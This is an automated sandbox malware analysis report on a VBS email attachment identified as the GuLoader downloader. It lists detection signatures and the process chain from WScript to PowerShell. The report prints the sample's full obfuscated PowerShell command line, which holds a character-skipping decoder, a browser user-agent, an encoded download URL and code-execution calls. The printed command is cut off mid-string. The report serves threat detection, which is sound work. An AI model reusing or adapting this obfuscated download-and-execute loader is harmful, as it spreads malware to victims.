Windows
Analysis Report
Enquiry Quote - 24071834-01.vbs
Overview
General Information
Detection
GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Yara detected Powershell download and execute
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Obfuscated command line found
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Very long command line found
Wscript starts Powershell (via cmd or directly)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 5604 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Enqui ry Quote - 24071834- 01.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) powershell.exe (PID: 8084 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "cls;write 'stertors Styxian H ensigtserk lringens N avler Fors mtes Brnes aarenes Ka tte Advise ringerne S kidoo Endo mysium Zym ite Indsku dsstninger s Retarder et Prostat es Afrejse ndes Setat ion Hernan diaceae An tefixa Dow n Linieteg ningens Mo dstningen Coarrangem ent Ressen timentsfle lser Memoi relitterat ur stertor s Styxian Hensigtser klringens Navler For smtes Brne saarenes K atte Advis eringerne Skidoo End omysium Zy mite Indsk udsstninge rs Retarde ret Prosta tes Afrejs endes Seta tion Herna ndiaceae A ntefixa Do wn Liniete gningens M odstningen Coarrange ment Resse ntimentsfl elser Memo irelittera tur';If ($ {host}.Cur rentCultur e) {$Saner ingsplaner nes++;}Fun ction Isoe lectric($B rnepsykolo gisk){$Big amistens=$ Brnepsykol ogisk.Leng th-$Saneri ngsplanern es;$Health iest='SUBs TRI';$Heal thiest+='n g';For( $c andystick= 2;$candyst ick -lt $B igamistens ;$candysti ck+=3){$st ertors+=$B rnepsykolo gisk.$Heal thiest.Inv oke( $cand ystick, $S aneringspl anernes);} $stertors; }function Isolerings materiale( $Portulakk ernes){ . ($Chefka hyttens132 ) ($Portul akkernes); }$Koordina tfremstill ingernes12 8=Isoelect ric ' SMUn o ,zLoiSll l a W/Op5 F.M 0Di D o( aW ,iSp n ,dPeoTrw R sPe ,rNM eTCl Fe1Su 0l,.,o0Lu; .r bWReiMa nRe6no4 .; M .yxF.6Un 4He;Sk .er S.vHe: n1L a2M 1fo.Le 0O )fr FGF eeE,cA,k J oS /Ko2P 0 ,1P 0Fa0R .1So0.o1Su LeFEqiIar ieGyfouoC axPo/Ha1 o 2K,1 ,.,u0 en ';$Velo ce=Isoelec tric 'C.U, osSte irEn -M AN,g e tnc tWi '; $Forsmtes= Isoelectri c 'IshNetT ot .pBisS :No/Mo/Mad F rSoiSmvR ee S. Bgv. o ao HgErl T ebl.KrcT rod.mHj/No uBecUn?ude FoxmapfroU nr.rtm =,u d Co ,wU,n J lFloLaaL idKn&.liGa d,e=Un1S,D F8DinRek 3,tV eCyU TKSoaP W . BV,g.rwatl JeGNe5LarS elGaz Oj . mS.3Go5C,4 OpPUdPDiMO piVes ,RDe UV, ';$Lns lavers=Iso electric ' r>Cu ';$C hefkahytte ns132=Isoe lectric 'A viBueMexBe ';$Ugerap porter5='A dviseringe rne';$Plad ret80 = Is oelectric ',ueTrcOvh JoBr Re%E ta ,pChpR dUna.rtOma fa%Ep\ eWd jo keDosFi . auIldOus R .i&Dr&, f ,deF.cSi htyoSt Hut Qu ';Isole ringsmater iale (Isoe lectric 'D o$FogUnl . oFubkaa sl Bu:StS eRe lS vBeebur RekQue n r deveEwlMos nes,r bsB l= P(LecOv mD,dre Te/ Emc,a Od$N ePD,lS,a D d .r eSpt, y8,n0Me),o ');Isoler ingsmateri ale (Isoel ectric 'L. $BrglalAso IbF a .l. e: .NMiami vD lG,eO,r bu= a$JuFA foSprKosPa mIlt Me ss Ph.ThsStp tl riKut,m (Bu$ CLGun U sKalSkaS ,vS,eMerZ. s a) . '); Isolerings materiale (Isoelectr ic 'Af[SgN ,aeStt.a.A .SMbeI.rF, vTuiLacGee D.PTeolei Sn,utF.M r aGen .aPog Lethr e]M .:.a:RaS t e ,cFluDer Ki ,tPyy .P.lr Eo R t .o ,cF o .kl S No=M i En[ LNBe eA tI,. VS f eDec su CrIniG tLo yRePCorU.o